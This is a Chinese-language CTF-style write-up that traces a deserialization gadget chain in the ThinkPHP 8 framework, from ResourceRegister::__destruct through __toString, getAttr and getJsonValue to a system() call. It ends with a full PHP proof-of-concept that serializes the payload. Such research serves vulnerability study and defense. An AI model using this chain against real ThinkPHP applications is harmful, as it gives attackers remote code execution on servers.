前言
笔者在xctf final上看见了thinkphp8的反序列化挖掘考题。故写下这篇文章记录此次挖掘过程。感谢Drunkbaby师傅和Vanzy师傅在本次学习中提供的帮助。
环境配置
参照官方文档https://doc.thinkphp.cn/v8_0/preface.html
此外php的版本要在8以上,同时自己需要加一个反序列化入口。笔者是用phpstorm+phpstudy+xdebug进行调试的,推荐大家试试。
漏洞挖掘
入口处一般是去找wakeup魔术方法(反序列化自动调用)或者destruct(类被实例化后销毁自动调用)
这里我们一般去找destruct魔术方法
全局搜索到think\route下面的ResourceRegister.php 接着进入register方法
我们可以在这一行打个断点 跟进去 主要看一下parseGroupRule这个方法
这里说一下我们在这个方法的利用思路 首先通过rule中的.来分割成数组 然后把数组的最后一位弹出
$item[] = $val . '/<' . ($option['var'][$val] ?? $val . '_id') . '>';在这个语句 可以调用tostring魔术方法
看看传参 option是我们可以控制的 我们可以传$this->option = ["var" => ["1" => new 要调用的类()]];
再配合传参$rule=1.1 将.后面的1弹出来 作为var的键 访问到这个类
接下来 我们全局搜索tostring 找到了\think\model\下面的Conversion.php
跟进tojson
跟进toarray
注意我们要进入的条件是
(!isset($hidden[$key]) && !$hasVisible)
hidden上面的赋值是空数组 $item = $visible = $hidden = []; 我们不用管
我们只需要让$hasVisible=false 就可以满足
接着进入getattr
在进入getdata
getRealFieldName函数会返回我们传进去的name
会判断data这个数组是否存在fieldname这个键 存在就把这个数组的键对应的值返回给$value
如果我们传$data=['p2'=>['p2'=>'whoami']];那么$value就为['p2'=>'whoami']
接着进入getValue
直接看if (isset($this->withAttr[$fieldName]))
如果withattr数组存在这个filedname键 会进去 这里我们可以让$relation=false 继续跟下去
我们让$this->json数组存在fieldname这个键 然后继续跟进getJsonValue方法
可以看到我们可以让withAttr[$name] 重新指向一个数组 其中让他的值就是$closure可以作为命令执行的函数
$withAttr=['p2'=>['p2'=>'system']];
然后根据上面的$value就为['p2'=>'whoami'] key=p2 $value[$key]=whoami为我们要执行的命令
最后再返回出来 达到RCE。
poc
<?php
namespace think\model\concern;
trait Attribute{
private $data=['p2'=>['p2'=>'whoami']];
private $withAttr=['p2'=>['p2'=>'system']];
protected $json=["p2"];
protected $jsonAssoc = true;
}
namespace think;
abstract class Model{
use model\concern\Attribute;
private $exists;
private $force;
private $lazySave;
protected $suffix;
function __construct($obj = '')
{
$this->lazySave = true;
$this->withEvent = false;
$this->exists = true;
$this->force = true;
$this->table = $obj;
$this->jsonAssoc = true;
}
}
namespace think\model;
use think\Model;
class Pivot extends Model{}
namespace think\route;
class Resource {
public function __construct()
{
$this->rule = "1.1";
$this->option = ["var" => ["1" => new \think\model\Pivot()]];
}
}
class ResourceRegister
{
protected $resource;
public function __construct()
{
$this->resource = new Resource();
}
public function __destruct()
{
$this->register();
}
protected function register()
{
$this->resource->parseGroupRule($this->resource->getRule());
}
}
$obj = new ResourceRegister();
echo base64_encode(serialize($obj));